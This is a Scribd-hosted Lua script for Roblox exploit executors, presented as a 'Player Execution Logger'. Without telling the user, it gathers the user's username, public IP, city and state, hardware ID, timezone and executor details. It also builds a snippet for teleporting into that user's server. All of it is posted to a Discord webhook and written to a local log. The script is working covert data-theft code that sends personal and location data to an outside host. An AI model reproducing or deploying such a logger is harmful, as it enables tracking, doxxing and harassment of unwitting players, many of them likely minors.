100% found this document useful (1 vote)
256 views4 pages

Roblox Player Execution Logger Script

The document is a Lua script designed for use in a game environment, specifically Roblox, that collects player data including account information, location, and executor details. It sends this information to a specified Discord webhook and logs it in a JSON file. The script includes functions for safe HTTP requests, timezone retrieval, and player information gathering, ensuring that data is formatted and sent correctly.

Uploaded by

rconger05
Copyright
© All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as TXT, PDF, TXT or read online on Scribd
100% found this document useful (1 vote)
256 views4 pages

Roblox Player Execution Logger Script

The document is a Lua script designed for use in a game environment, specifically Roblox, that collects player data including account information, location, and executor details. It sends this information to a specified Discord webhook and logs it in a JSON file. The script includes functions for safe HTTP requests, timezone retrieval, and player information gathering, ensuring that data is formatted and sent correctly.

Uploaded by

rconger05
Copyright
© All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as TXT, PDF, TXT or read online on Scribd

local Players = game:GetService("Players")

local LocalPlayer = [Link]


local Analytics = game:GetService("RbxAnalyticsService")
local HttpService = game:GetService("HttpService")
local MarketplaceService = game:GetService("MarketplaceService")
local Http = http_request or request or HttpPost or [Link]

local Webhook_URL =
"[Link]
cNKkxQRz5NIGCOZOrgXPz_7wghFan_jWoQ8vkGJ_PfTlts"
local Headers = { ['Content-Type'] = 'application/json' }
local logFile = "executor_log.json"

-- Popular timezones
local popularTimezones = {
[-12]="AoE", [-11]="SST", [-10]="HST", [-9]="AKST", [-8]="PST", [-7]="MST",
[-6]="CST", [-5]="EST", [-4]="AST", [-3.5]="NST", [-3]="BRT", [-2]="GST",
[-1]="AZOT", [0]="GMT", [1]="CET", [2]="EET", [3]="MSK", [3.5]="IRST",
[4]="GST", [4.5]="AFT", [5]="PKT", [5.5]="IST", [5.75]="NPT", [6]="BST",
[6.5]="MMT", [7]="WIB", [8]="CST", [8.75]="ACWST", [9]="JST",
[9.5]="ACST", [10]="AEST", [10.5]="ACDT", [11]="AEDT", [12]="NZST",
[12.75]="CHAST", [13]="PHOT", [14]="LINT"
}

-- Safe HTTP GET


local function safeHttpGet(url)
local success, result = pcall(function()
return Http({ Url = url, Method = "GET" })
end)
if success and result and [Link] then
return [Link]
end
return nil
end

-- Timezone
local function getTimezone()
local ok, utcTime = pcall(function() return [Link]([Link]("!*t")) end)
local ok2, localTime = pcall(function() return [Link]([Link]("*t")) end)
if not ok or not ok2 then return "Unknown" end
local diffSeconds = [Link](localTime, utcTime)
local offsetHours = [Link]((diffSeconds / 3600)*2 + 0.5)/2
return popularTimezones[offsetHours] or ("UTC"..(offsetHours>=0 and "+" or
"")..offsetHours)
end

-- Public IP
local function getPublicIP()
local ip = safeHttpGet("[Link]
return ip or "Unknown"
end

-- Location info (city and state only)


local function getLocationInfo(ip)
if ip == "Unknown" then
return "Unknown", "Unknown"
end
local body = safeHttpGet("[Link]
if not body then
return "Unknown", "Unknown"
end
local ok, data = pcall([Link], HttpService, body)
if not ok or not data then
return "Unknown", "Unknown"
end
return [Link] or "Unknown", [Link] or "Unknown"
end

-- HWID
local function getHWID()
local ok, hwid = pcall(function() return Analytics:GetClientId() end)
return ok and hwid or "Unknown"
end

-- Executor detection
local function detectExecutor()
if identifyexecutor then return identifyexecutor()
elseif getexecutorname then return getexecutorname()
elseif syn then return "Synapse X" end
return "Unknown"
end

-- Gather data
local execName = detectExecutor()
local publicIP = getPublicIP()
local city, state = getLocationInfo(publicIP)
local timezone = getTimezone()
local hwid = getHWID()

local accountAge = [Link]


local accountCreation = [Link]("%Y-%m-%d", [Link]() - accountAge * 86400)
local currentDate = [Link]("%Y-%m-%d")
local currentTime = [Link]("%H:%M:%S")

local placeId = [Link]


local jobId = [Link]
local ok, gameInfo = pcall([Link], MarketplaceService,
placeId)
local gameName = ok and [Link] or "Unknown"

local profileLink = "[Link]

local activePlayers = #Players:GetPlayers()


local maxPlayers = [Link]
local playerPing = [Link](LocalPlayer:GetNetworkPing()*1000)

local teleportScript = [Link]([[


```lua
game:GetService("TeleportService"):TeleportToPlaceInstance(%d,"%s",[Link]
alPlayer)```
]], placeId, jobId)

-- Previous log
local previousLog = {}
if isfile(logFile) then
local ok, data = pcall(readfile, logFile)
if ok and data ~= "" then
local ok2, decoded = pcall([Link], HttpService, data)
if ok2 then previousLog = decoded end
end
end

previousLog[[Link]] = (previousLog[[Link]] or 0) + 1

local logEntry = {
Username = [Link],
DisplayName = [Link],
GameName = gameName,
ProfileLink = profileLink,
ServerPlayers = activePlayers.."/"..maxPlayers,
PlayerPingMS = playerPing,
Time = currentDate.." "..currentTime,
HWID = hwid,
IP = publicIP,
City = city,
State = state,
Timezone = timezone,
AccountCreation = accountCreation,
AccountAge = accountAge,
Executor = execName,
Executions = previousLog[[Link]],
TeleportScript = teleportScript
}

previousLog["Logs"] = previousLog["Logs"] or {}
[Link](previousLog["Logs"], logEntry)

pcall(function()
writefile(logFile, HttpService:JSONEncode(previousLog))
end)

-- Webhook
local webhookData = {
content = "@here",
username = [Link],
avatar_url = "[Link]
id=OIP.nJ7S63mDf0rdL9tAEPZjYAHaJQ&pid=Api&P=0&h=220",
embeds = {{
title = "Player Execution Info",
fields = {
{name="Display Name", value=[Link] or "Unknown",
inline=true},
{name="Username", value=[Link] or "Unknown", inline=true},
{name="Game Name", value=gameName or "Unknown", inline=true},
{name="Server Players", value=activePlayers.."/"..maxPlayers,
inline=true},
{name="Player Ping (ms)", value=tostring(playerPing) or "Unknown",
inline=true},
{name="IP Address", value=publicIP or "Unknown", inline=false},
{name="City", value=city or "Unknown", inline=true},
{name="State", value=state or "Unknown", inline=true},
{name="Account Creation", value=accountCreation or "Unknown",
inline=false},
{name="Account Age", value=tostring(accountAge) or "Unknown",
inline=false},
{name="Date", value=currentDate or "Unknown", inline=false},
{name="Time", value=currentTime or "Unknown", inline=false},
{name="Timezone", value=timezone or "Unknown", inline=false},
{name="HWID", value=hwid or "Unknown", inline=false},
{name="Executor", value=execName or "Unknown", inline=true},
{name="Execution Count", value=tostring(previousLog[[Link]])
or "Unknown", inline=true},
{name="Teleport Script", value=teleportScript or "Unknown",
inline=false},
{name="Profile Link", value="[Profile]("..profileLink..")",
inline=false}
}
}}
}

pcall(function()
Http({
Url = Webhook_URL,
Body = HttpService:JSONEncode(webhookData),
Method = "POST",
Headers = Headers
})
end)

You might also like